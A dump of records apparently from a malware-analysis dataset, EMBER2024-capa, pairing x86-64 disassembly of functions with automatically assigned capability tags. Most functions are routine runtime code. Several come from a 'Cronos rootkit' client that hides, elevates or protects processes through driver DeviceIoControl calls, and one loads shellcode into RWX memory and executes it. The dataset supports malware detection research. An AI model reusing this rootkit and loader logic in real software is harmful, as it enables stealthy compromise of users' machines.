joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005f074
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14005f0fb
mov rsi, rbx
cmp word [rax], bp
je 0x14005f0ba
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14005f0a4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14005f0a0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140058ec8
mov rdi, rax
test rax, rax
je 0x14005f0e8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140069800
mov rbp, rdi
xor ecx, ecx
call fcn.140058298
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140062ef8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14005aa80
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14005aa80
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140063048
cmp rax, 0xffffffffffffffff
je 0x140063048
xor edi, edi
test rbp, rbp
jle 0x140062ff3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140058220
mov rbx, rax
test rax, rax
jne 0x140062f80
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140062fe9
mov edx, 0x8000
mov ecx, r14d
call fcn.140056c64
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14005c3c8
cmp eax, 0xffffffff
je 0x140062fc9
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140062f90
mov edx, r15d
mov ecx, r14d
call fcn.140056c64
jmp 0x140062fe9
cmp byte [rsi + 0x38], dil
je 0x140062fe0
cmp dword [rsi + 0x34], 5
jne 0x140062fe0
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140062fe9
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140058298
jmp 0x14006305c
jns 0x14006305c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14005aa80
cmp rax, 0xffffffffffffffff
jne 0x140063014
cmp byte [rsi + 0x30], dil
je 0x14006305c
mov edi, dword [rsi + 0x2c]
jmp 0x14006305c
mov ecx, r14d
call fcn.14005f854
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14006305c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14006305c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140063055
mov eax, dword [rsi + 0x2c]
jmp 0x14006305a
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14005aa80
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140064a10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140064a38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140064a38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400111bd
Capabilities:
Execute command

Disassembly:
jmp 0x140011e30
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400240f5]
call fcn.1400113b6
lea rcx, [0x14001b214]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.____Process_will_be_also_elevated__n
call fcn.1400111ae
lea rcx, str.___Opening_handle_to_driver_n
call fcn.1400111ae
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x40000000
lea rcx, str..Cronos
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x140011eea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_open_handle_to_device___d_._Check_if_driver_is_loaded_correctly._n
call fcn.1400111ae
jmp 0x140011fb0
xor eax, eax
cmp eax, 1
je 0x140011f2a
lea rcx, str.____Set_process_PID_to_hide:
call fcn.1400111ae
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov ecx, dword [rbp + 4]
call fcn.1400111b8
test eax, eax
je 0x140011f1c
jmp 0x140011f2a
lea rcx, str._n____Process_does_not_exist._n
call fcn.1400111ae
jmp 0x140011eea
lea rcx, str._n___Writing_data_to_driver..._n
call fcn.1400111ae
mov eax, dword [rbp + 4]
mov dword [rbp + 0x44], eax
mov edx, dword [rbp + 0x44]
lea rcx, str.___Got_target_PID:__d_n
call fcn.1400111ae
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x64]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x44]
mov edx, 0x220013
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
je 0x140011fa4
lea rcx, str.____Process_has_been_protected__n
call fcn.1400111ae
jmp 0x140011fb0
lea rcx, str.____Failed_to_protect_process_n
call fcn.1400111ae
lea rcx, [rbp - 0x40]
lea rdx, [0x14001b070]
call fcn.140011352
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400111ef
Capabilities:
Execute command

Disassembly:
jmp 0x140011a50
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1400240f5]
call fcn.1400113b6
lea rcx, [0x14001b214]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.___Opening_handle_to_driver_n
call fcn.1400111ae
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x40000000
lea rcx, str..Cronos
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x140011afe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_open_handle_to_device___d_._Check_if_driver_is_loaded_correctly._n
call fcn.1400111ae
jmp 0x140011bb8
xor eax, eax
cmp eax, 1
je 0x140011b3e
lea rcx, str.____Set_process_PID_to_hide:
call fcn.1400111ae
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov ecx, dword [rbp + 4]
call fcn.1400111b8
test eax, eax
je 0x140011b30
jmp 0x140011b3e
lea rcx, str._n____Process_does_not_exist._n
call fcn.1400111ae
jmp 0x140011afe
lea rcx, str._n___Writing_data_to_driver..._n
call fcn.1400111ae
mov eax, dword [rbp + 4]
mov dword [rbp + 0x64], eax
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x64]
mov edx, 0x220007
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011bac
lea rcx, str.____Process_has_been_hidden__n
call fcn.1400111ae
jmp 0x140011bb8
lea rcx, str.____Failed_to_hide_processes_n
call fcn.1400111ae
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ad10]
call fcn.140011352
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret

Function at 0x140011221
Capabilities:
Terminate process

Disassembly:
jmp 0x140013910
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011294
Capabilities:
Execute command

Disassembly:
jmp 0x140011840
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400240f5]
call fcn.1400113b6
lea rcx, [0x14001b214]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.___Opening_handle_to_driver_n
call fcn.1400111ae
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x40000000
lea rcx, str..Cronos
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x1400118ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_open_handle_to_device___d_._Check_if_driver_is_loaded_correctly._n
call fcn.1400111ae
jmp 0x1400119b4
xor eax, eax
cmp eax, 1
je 0x14001192e
lea rcx, str.____Set_process_PID_to_elevate:
call fcn.1400111ae
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
mov ecx, dword [rbp + 4]
call fcn.1400111b8
test eax, eax
je 0x140011920
jmp 0x14001192e
lea rcx, str._n____Process_does_not_exist._n
call fcn.1400111ae
jmp 0x1400118ee
lea rcx, str._n___Writing_data_to_driver..._n
call fcn.1400111ae
mov eax, dword [rbp + 4]
mov dword [rbp + 0x44], eax
mov edx, dword [rbp + 0x44]
lea rcx, str.___Got_target_PID:__d_n
call fcn.1400111ae
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x64]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x44]
mov edx, 0x22000b
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
je 0x1400119a8
lea rcx, str.____Process_has_been_elevated__n
call fcn.1400111ae
jmp 0x1400119b4
lea rcx, str.____Failed_to_elevate_process_n
call fcn.1400111ae
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ae30]
call fcn.140011352
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400112a3
Capabilities:
Execute command

Disassembly:
jmp 0x140012240
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x1400240f5]
call fcn.1400113b6
xor eax, eax
cmp eax, 1
je 0x140012369
lea rcx, [0x14001b124]
call fcn.1400111ae
lea rcx, str.___Cronos_rootkit_debugger____n
call fcn.1400111ae
lea rcx, str.1._Hide_process_n
call fcn.1400111ae
lea rcx, str.2._Elevate_process_n
call fcn.1400111ae
lea rcx, str.3._Hide_port__Work_in_progress__n
call fcn.1400111ae
lea rcx, str.4._Protect_process_n
call fcn.1400111ae
lea rcx, str.0._Close_program_n
call fcn.1400111ae
lea rcx, str.Option:
call fcn.1400111ae
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 4], 4
jle 0x14001231a
lea rcx, str._nWrong_option__Choose_from_0___3__n
call fcn.1400111ae
lea rcx, [0x14001b214]
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x140012364
mov eax, dword [rbp + 4]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
je 0x140012349
cmp dword [rbp + 0xd4], 1
je 0x14001234f
cmp dword [rbp + 0xd4], 2
je 0x140012356
cmp dword [rbp + 0xd4], 4
je 0x14001235f
jmp 0x140012364
xor eax, eax
jmp 0x140012369
call fcn.1400111ef
jmp 0x140012364
call fcn.140011294
jmp 0x140012364
call fcn.1400111bd
jmp 0x14001227d
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001b100]
call fcn.140011352
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400112ad
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014c60
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014c80
xor al, al
jmp 0x140014d01
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014c93
xor al, al
jmp 0x140014d01
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014cbd
xor al, al
jmp 0x140014d01
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014cd1
xor al, al
jmp 0x140014d01
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014ce3
xor al, al
jmp 0x140014d01
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014cff
xor al, al
jmp 0x140014d01
mov al, 1
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400045f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004600]
mov dword [rax], 1
mov rax, qword [0x140004610]
mov dword [rax], 1
mov rax, qword [0x140004590]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400045e0]
mov dword [0x140007020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400046b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004690]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004540]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x230
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov ecx, 0x40
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x200
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x200
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x1a8]
call rax
mov eax, 0
add rsp, 0x230
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400018c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001930
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070b4]
mov rbx, rcx
test esi, esi
jle 0x140001a60
mov rax, qword [0x1400070b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000197b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001960
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001a82
mov rax, qword [0x1400070b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019fe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a10
add dword [0x1400070b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001988
mov rax, qword [0x1400070b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001ff0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007100]
test rbx, rbx
je 0x14000204c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002043
test rsi, rsi
je 0x140002043
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002028
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002260
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002278
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002280
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002290
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400022dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400022d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022df
add rax, 0x28
cmp rax, r9
jne 0x1400022c0
xor eax, eax
ret

Function at 0x1400022e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002370
mov rdx, qword [0x140004590]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000235e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000235e
cmp word [rax + 0x18], 0x20b
jne 0x14000235e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002370
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002349
add rbx, 0x28
cmp rbx, rdi
je 0x140002370
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002340
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004590]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023a0
add rax, 0x28
cmp rax, r9
jne 0x1400023e0
xor eax, eax
ret

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004590]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000241f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002428
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000241f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004590]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002460
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002468
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002460
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400024b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400024a7
test rcx, rcx
je 0x140002460
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002498
xor eax, eax
ret